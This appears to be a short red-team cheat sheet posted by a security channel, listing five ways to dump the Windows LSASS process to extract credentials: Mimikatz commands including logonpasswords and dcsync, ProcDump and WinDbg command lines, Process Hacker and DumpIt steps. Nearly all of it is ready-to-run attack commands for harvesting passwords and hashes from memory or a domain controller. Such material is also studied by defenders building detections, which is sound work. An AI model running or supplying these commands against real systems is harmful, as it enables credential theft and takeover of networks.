#0x01 > Mimikatz
Methods:
Sekurlsa::logonpasswords Sekurlsa::minidump lsadump::dcsync#0x02 > ProcDump
Methods:
procdump -ma lsass.exe lsass.dmp procdump -accepteula -64 -ma lsass.exe lsass.dmp#0x03 > Process Hacker
Methods:
System->LSASS process->Create Dump#0x04 > DumpIt
Methods:
tasklist /FI “IMAGENAME eq lsass.exe” DumpIt.exe PID output_file_name.bin#0x05 > Windows Debugging Tools
Methods:
windbg -p .dump /ma c:\path\to\lsass.dmp .detach .qادامه دارد ...
#Lsass #redteam
@PfkSecurity